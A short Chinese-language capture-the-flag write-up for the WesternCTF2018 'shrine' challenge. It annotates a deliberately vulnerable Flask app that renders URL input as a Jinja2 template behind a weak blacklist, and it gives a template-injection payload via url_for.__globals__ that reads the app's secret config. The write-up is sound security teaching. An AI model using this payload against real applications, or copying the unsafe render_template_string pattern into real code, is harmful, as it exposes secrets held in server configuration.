[WesternCTF2018]shrine

lcmz / 2024-09-17 / 原文

打开题目就得到了python代码

import flask
import os
#导包
app = flask.Flask(__name__)
#创建一个flask实例,
app.config['FLAG'] = os.environ.pop('FLAG')
#从操作系统的环境变量中读取名为FLAG的值,并将其存储在Flask的配置中,POP:读取后删除该环境变量

@app.route('/')
#定义一个路由`/`,访问主页时触发这个函数
def index():
    return open(__file__).read()
#读取当前python脚本的源代码并返回

@app.route('/shrine/<path:shrine>')
#动态路由,shrine变量代表传入的路径参数,允许传入包含`/`的url片段
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        #将括号换成null
        blacklist = ['config', 'self']  
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))
    #flask.render_template_string:将传入字符串作为Jinja2模板进行渲染,这个模板会经过safe_jinja(shrine)清理后再进行渲染

if __name__ == '__main__':
    app.run(debug=True)
    #运行flask应用

由第二个路由可以知道可以传入一个形如/shrine/...的地址,最后也是成功测试出来了

而首先要明白的是这个题存在两个过滤,一个是括号(),一个是config,self,那么常用的注入方式就不管用了
而我们前面看到config,这里面应该会有个flag值
这里就要用到python里的内置函数了,如url_for,get_flashed_messages
注入{{url_for.__globals__}}访问url_for函数的全局属性,查看里面的变量信息

输入{{url_for.__globals__['current_app'].config}},查看当前的配置信息,拿到flag